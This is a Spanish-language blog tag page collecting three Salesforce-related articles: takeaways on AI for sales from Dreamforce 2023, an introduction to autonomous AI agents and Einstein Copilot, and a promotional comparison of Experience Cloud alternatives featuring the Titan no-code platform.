Skip to content

Etiqueta: Registro

Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Dreamforce fue épico. Compartimos consejos y noticias de la industria con Salesblazers, hicimos amigos y repartimos montones de regalos (nuestros peluches son insuperables). Sin embargo, entre todas las sesiones de puesta al día y aprendizaje de este año, se destacó un tema: la importancia crítica de la inteligencia artificial (IA) en las ventas.

Los equipos de ventas están viendo el surgimiento de nuevas herramientas de inteligencia artificial para ayudar a la prospección, el entrenamiento y la previsión, todo al servicio de la eficiencia de las ventas. También hay un mayor interés en la información sobre los clientes en tiempo real como ventaja competitiva, alojada en un CRM único y seguro.

¿Cómo están aprovechando todo esto los mejores equipos de ventas, manteniendo al mismo tiempo relaciones sólidas con los clientes? Descubra sus consejos y trucos de ventas a continuación.

¿Te perdiste la conferencia magistral de Dreamforce Sales Cloud? Transmítalo en Salesforce+

Escuche lo que dicen los líderes de ventas innovadores sobre la innovación impulsada por la IA, la toma de decisiones basada en datos y las últimas innovaciones de Sales Cloud.

1. Priorice los datos seguros antes de adoptar la IA generativa

El campo en constante evolución de la IA promete mejorar la eficiencia de los vendedores, pero conlleva algunos desafíos de seguridad. Una investigación reciente de Salesforce encontró que el 73% de los empleados cree que la IA generativa introduce nuevos riesgos de seguridad. Hay buenos motivos para preocuparse: las herramientas públicas de IA generativa carecen de cifrado de datos, de enmascaramiento de datos y, en realidad, de cualquier tipo de protección de seguridad. Esto hace que sus datos sean vulnerables al robo y al mal uso.

En el último año, todos nos hemos vuelto un poco más inteligentes en lo que respecta a la seguridad. Ahora sabemos que debemos evitar conectar los datos de los clientes a herramientas públicas de IA generativa y que todavía necesitamos un ser humano en el medio para revisar manualmente cualquier copia de IA generativa para garantizar la precisión. Y si desea aprovechar la IA generativa, debe hacerlo en un entorno que pueda controlar, con todas las protecciones de seguridad que necesita para evitar que sus datos caigan en las manos equivocadas.

Cómo Salesforce le ayuda a mantener la seguridad:

La confianza siempre ha sido nuestro valor número uno, razón por la cual lanzamos Einstein Trust Layer a principios de este año. Se trata de una arquitectura de IA segura, integrada de forma nativa en la plataforma Salesforce. Diseñado para estándares de seguridad empresarial, permite a los equipos beneficiarse de la IA generativa sin comprometer los datos de sus clientes. Por ejemplo, si bien los mensajes impulsan cada salida de IA generativa, nuestra arquitectura Zero Retention garantiza que no se almacenen datos de clientes fuera de Salesforce. El enmascaramiento de datos (ocultar cualquier información confidencial de una empresa o un individuo) proporciona una capa adicional de protección.

2. No esperes para unirte a la IA generativa

La IA generativa puede parecer una adición espectacular a su pila tecnológica, pero no es simplemente algo "bueno tenerlo". Lo necesita para seguir siendo competitivo. Según nuestro reciente informe Tendencias en IA generativa para ventas , el 55% de los profesionales de ventas informan que actualmente o planean usar IA generativa, y el 58% dice que les ayuda o les ayudará a aumentar la productividad.

Es fácil ver por qué la adopción está aumentando. Los representantes pueden utilizar indicaciones basadas en texto para identificar clientes potenciales, investigar empresas, redactar correos electrónicos e incluso analizar correos electrónicos anteriores para descubrir necesidades de clientes potenciales que no han abordado. Los CRM más avanzados impulsados por IA pueden personalizar las comunicaciones e incluso imitar la voz y el tono de los representantes. Esto permite a los vendedores deshacerse de las tareas manuales que consumen mucho tiempo y centrarse en lo que realmente importa: construir relaciones significativas con los clientes .

Cómo ayuda Sales Cloud a que la IA sea accesible para todos:

En Dreamforce, presentamos algunas ingeniosas innovaciones de IA generativa para Sales Cloud ofrecidas a través de Einstein 1 Sales, nuestro conjunto de herramientas de IA:

Resumen de llamadas: resuma automáticamente las llamadas para resaltar los temas clave cubiertos durante las reuniones y los próximos pasos.

Correos electrónicos de ventas: genere automáticamente correos electrónicos personalizados e hiperrelevantes para cada conversación de ventas utilizando los datos del cliente que ya están alojados en Sales Cloud.

Einstein Copilot para ventas: descargue el trabajo pesado durante todo el ciclo de ventas a un asistente digital, incluida la investigación de cuentas, la preparación de reuniones (establecimiento de agenda y notas a tener en cuenta) y actualizaciones de registros de transacciones.

3. Apóyese en el análisis en tiempo real y la IA predictiva para ganar cuando llegue el cambio

Como selamentó recientemente uno de nuestros Salesblazers, muchas empresas todavía están atrapadas en hojas de cálculo obsoletas que requieren actualizaciones y análisis manuales lentos y que consumen mucho tiempo. Ése es el engorroso modus operandi operativo del pasado y dificulta actuar según la información más reciente sobre acuerdos. Peor aún: predecir lo que sucederá a continuación es una tarea hercúlea e imprecisa.

Al aprovechar el poder de la automatización, los equipos de ventas pueden apoyarse en su CRM para actualizar los registros de transacciones en tiempo real (léase: no más hojas de cálculo). Cuando se combina con IA predictiva, los representantes y gerentes pueden recibir alertas sobre posibles problemas de acuerdos y pronósticos antes de que las cosas se descarrilen.

Y eso es realmente sólo el comienzo. Imagínese esto: mientras los representantes se mantienen al tanto de las últimas novedades sobre los acuerdos, los gerentes aprovechan los datos en tiempo real para realizar un seguimiento del desempeño del equipo sobre la marcha, identificando oportunidades de capacitación en el momento (como clientes potenciales estancados) que pueden abordar rápidamente para mantener a los representantes encaminados. . Al mando, los líderes utilizan los datos más recientes para obtener una visión holística del desempeño de su organización de ventas en relación con los objetivos.

Los datos en tiempo real y la IA predictiva son las claves de todo esto, lo que permite a los equipos de ventas detectar señales de alerta tempranas y cambiar rápidamente las estrategias para garantizar que alcancen sus objetivos de ventas .

Cómo la IA predictiva y en tiempo real de Sales Cloud le ayuda a mantenerse por delante de sus competidores:

Al utilizarEinstein Activity Capture , Sales Cloud captura y unifica automáticamente datos de cada interacción con el cliente, como correos electrónicos, chats en línea y llamadas telefónicas, para que los representantes puedan ver su propio "estado de ventas" en cualquier momento. Aún mejor, los equipos pueden extraer datos de herramientas de terceros y armonizarlos con los registros de CRM existentes para obtener una vista de 360 grados de cada cliente y cliente potencial. Aplique la funcionalidad predictiva de IA y obtendrá recomendaciones muy relevantes para los próximos mejores pasos que harán avanzar cada acuerdo.

Para gerentes y líderes de ventas, las actualizaciones de datos en tiempo real y la IA predictiva se unen en El panel Deal Insights de Sales Cloud para detectar posibles problemas de pronóstico con anticipación para que los equipos puedan ajustar la estrategia y mantener el rumbo. La actividad de los representantes también se captura a través de Activity 360 : los gerentes pueden ver métricas clave del equipo, como clientes potenciales en proceso y tasa de ganancias, en un solo lugar para descubrir oportunidades de capacitación mientras todavía hay tiempo para impactar los acuerdos.

4. Invierta en una única plataforma en lugar de múltiples herramientas desconectadas

Nuestro reciente informe sobre el estado de las ventas reveló una cruda realidad: el 66% de los representantes de ventas se sienten abrumados por la multitud de herramientas disponibles. El atractivo de la tecnología de próxima generación, incluidos los complementos de IA generativa y las herramientas de función única, amenaza con agravar ese problema.

¿El grito de guerra del escenario de Dreamforce? Simplifique su pila tecnológica . Reemplace las soluciones puntuales con una plataforma que pueda ampliar con nuevas características, capacidades o funciones a medida que surjan las necesidades. Priorice las funciones principales, como la gestión de contactos, la gestión de canales y la previsión, pero también busque una plataforma que le permita integrar perfectamente capacidades de IA y análisis en tiempo real para eliminar la fatiga de alternar entre sistemas.

Cómo le ayuda Sales Cloud a impulsar las ventas de un extremo a otro:

Más allá de satisfacer las necesidades básicas del día a día de los vendedores a través de herramientas como Activity Capture, puede aprovechar la plataforma Sales Cloud para simplificar su pila tecnológica en ventas y operaciones, al tiempo que incorpora el poder de la IA. Por ejemplo, los equipos que supervisan la planificación de ventas y los programas de habilitación de ventas pueden utilizar el poder de los datos de actividad de clientes y vendedores en tiempo real para realizar esa planificación y seguimiento de resultados directamente dentro de Sales Cloud CRM. Muchos clientes de Sales Cloud incluso extienden las funciones de automatización e inteligencia de su CRM a los canales de socios a través de nuestra solución Partner Relationship Management .

5. La tecnología es importante, pero no pierdas el foco en las relaciones

Este último es un poco pivote.

Si hay algo que ha llamado la atención de los líderes de ventas en los últimos tiempos es esto: las relaciones te hacen o te deshacen. Es importante que estemos al tanto de las últimas tecnologías, como la IA, pero lo que es igualmente importante son las conexiones que establecemos con nuestros equipos y nuestros clientes. Eso siempre comienza con la superación personal. Cuanto mejor seas para involucrarte, comunicarte y animar a los demás, mejores serán tus relaciones.

Los Salesblazers hablaron mucho sobre esto durante Dreamforce, pero tres consejos fueron los que más resonaron. Primero, nunca dejes de aprender. Tome clases, obtenga experiencia práctica, haga crecer su red de pares y aprenda de otros en su campo. En segundo lugar, valore la confianza que se ha ganado con sus clientes y continúe fortaleciendo esas relaciones haciendo un seguimiento y ofreciéndoles recursos útiles que sabe que necesitan. En tercer lugar, muestra siempre lo mejor de ti. Tómese el tiempo para comprender qué es lo que realmente motiva a sus clientes y brinde las soluciones que necesitan antes de que sepan que las necesitan. Haga un esfuerzo adicional y descubrirá que la lealtad llega rápidamente.

Hay días difíciles y días fáciles, pero cada día es una oportunidad para apuntalar las relaciones que son la base de las ventas.

Cómo Salesforce puede ayudarle a fomentar relaciones sólidas:

La comunidad Salesblazer es el lugar al que acuden todos los profesionales de ventas para obtener asesoramiento profesional, orientación táctica de ventas y creación de redes. Únase y conéctese con compañeros Salesblazers que pueden ayudarlo a aprender, conectarse y crecer.

Prepárese para el éxito en las ventas

¿Qué aprendimos en Dreamforce? En resumen, la IA es el nombre del juego. A medida que evoluciona la industria de las ventas, los líderes de ventas pueden mejorar la productividad con IA generativa, tomar decisiones más rápidas basadas en datos con IA predictiva y optimizar la tecnología para que los representantes puedan centrarse más en la construcción de relaciones. Si los tiene en la mira, en 2024 estará por delante del resto.

Transmita lo mejor de Dreamforce 2023

¿Extrañas la magia? No te preocupes. Vea toda la cobertura de IA y vea qué están haciendo los principales líderes de ventas para salir adelante en 2023. ¡Todo está bajo demanda en Salesforce+!

Seguir leyendo

Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensión de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducción a Titan Web, con una explicación de cómo esta herramienta de código cero puede brindarle la libertad de crear cualquier aplicación web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementación
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a través de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia técnica especial ni conocimientos de codificación.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ningún trabajo de integración adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estarían familiarizados.
  • Puedes crear páginas públicas y privadas. La ventaja de esto es que sólo los usuarios con los permisos de acceso adecuados podrán visitar espacios específicos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M rápido y lo más probable es que pueda crear su portal o sitio en uno o dos días.
  • También tiene la opción de diseñar su portal o sitio web de la manera que desee utilizando imágenes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos móviles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el diseño de su página para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edición en línea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de cámaras del usuario al hacer clic en él, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta solución, prepárese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y móvil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el botón “Guardar”.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso específicos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¿Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con múltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no esté limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear diseños dinámicos para cualquier dispositivo, por ejemplo, portátil o móvil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¡Si puedes soñarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el código fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia técnica: desarrollar un portal o una aplicación web requiere habilidades y recursos técnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicación o un portal web puede ser un proceso que requiere mucho tiempo y una inversión significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podría afectar negativamente a sus objetivos comerciales.
  • Rápidos avances tecnológicos: el panorama tecnológico evoluciona continuamente y periódicamente surgen nuevas características, marcos y plataformas. Desarrollar una aplicación web o un portal internamente requiere mantenerse actualizado con las últimas tecnologías y mejores prácticas.
  • Desafíos de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicación web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • Básicamente, dependerá de los recursos de desarrollo y se verá paralizado cuando desee realizar actualizaciones simples. ¡No suena divertido!
  • Problemas de integración: desarrollar una aplicación web o un portal internamente puede plantear conflictos de integración con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicación o un portal seguro implica implementar medidas de seguridad sólidas y garantizar el cumplimiento de las normas de protección de datos.
  • Centrarse en las competencias básicas: las organizaciones deben evaluar si el desarrollo de una aplicación o portal se alinea con sus competencias básicas y prioridades estratégicas.
  • ¡Dinero dinero dinero! Esta es definitivamente tu opción más cara, así que prepárate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Titán:

  • Plataforma de código cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integración bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercialización
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organización.
  • El enfoque móvil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean fáciles de implementar
  • Genere documentos y fírmelos desde su aplicación o portal
  • Capacidades sin conexión para que pueda utilizar esta herramienta incluso cuando esté fuera del alcance de Internet
  • Compatible con múltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gestión de versiones
  • Rentable en comparación con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporación puede variar entre 4 y 20 horas, según la complejidad de su caso de uso.
  • Ocasionalmente, para una lógica o un diseño de diseño muy complejos, una organización necesitará agregar código JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web está limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Titán
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de diseño Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas soñar. Casi todo lo que puedas soñar
Marca Sí con temas personalizados Sí con temas personalizados
Integración de Salesforce Requiere desarrollo por integración.
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo
Validaciones de datos en tiempo real No
Flujo de trabajo y automatización No
Móvil Listo para dispositivos móviles Diseño completamente dinámico por dispositivo Diseño completamente dinámico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.

Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesión en el portal:
  • Reciben una autenticación de dos factores enviada a su correo electrónico para que puedan iniciar sesión en el portal sin administrar ninguna otra contraseña.
  • Las páginas web y los portales se muestran dinámicamente según la autenticación del usuario, proporcionando una experiencia de usuario dinámica con cada clic.
  • Todo está construido sólo con herramientas de arrastrar y soltar. No es necesaria ninguna codificación, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un fácil acceso a información personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado dinámico utilizando datos de Salesforce.
